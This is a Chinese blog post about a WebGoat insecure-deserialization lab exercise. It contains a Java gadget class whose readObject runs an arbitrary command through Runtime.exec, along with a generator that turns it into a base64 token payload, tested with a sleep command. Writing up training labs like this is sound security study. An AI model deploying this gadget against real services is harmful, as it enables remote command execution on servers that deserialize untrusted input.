代码审计(Java)——WebGoat_InsecureDeserialization

level-5

  找到java文件,可以看到传入的token经过64解码后输入导对象输入流中,然后没有加限制直接readObject进行了反序列化操作,确实存在漏洞点~

package org.owasp.webgoat.plugin;

import java.io.*;
import java.util.Base64;

public class ExploitDeserialize {
    public static void main(String[] args) throws IOException{
        GadgetObject goGadgetObject = new GadgetObject();
        goGadgetObject.setCmd("sleep(6)");

        ByteArrayOutputStream boStream = new ByteArrayOutputStream();
        ObjectOutputStream ooStream = new ObjectOutputStream(boStream);
        ooStream.writeObject(goGadgetObject);
        ooStream.flush();
        byte[] exp = boStream.toByteArray();
        String b64token = Base64.getEncoder().encodeToString(exp);
        System.out.println(b64token);
    }
}
package org.owasp.webgoat.plugin;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class GadgetObject implements Serializable {
    private String cmd;

    public void setCmd(String cmd) {
        this.cmd = cmd;
    }

    private void readObject( ObjectInputStream stream ) throws Exception {
        stream.defaultReadObject();
        try{
            Runtime r = Runtime.getRuntime();
            Process p = r.exec(cmd);
        }catch (Exception e) {
            e.printStackTrace();
        }
    }
}

  这里构造两个java文件,用来生成可以用的payload(因为反序列化这个东西,不同语言差别还是挺大的,就只能用残缺的java知识搞一个这个了……还是太菜了,java急需深造啊)

  生成payload,让服务器等待5秒~

  很奇怪的是没用行得通,很奇怪是那里搞错了,有可能是我写的java类有问题???我回头再去看一下……

  这里开一个DNSLog来验证一下吧,不信这个邪~

  果然,这里是可以访问到的,大概写的java也没有问题,但那是哪里出问题了嘞???真搞不懂,再研究研究,java水太深了……

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值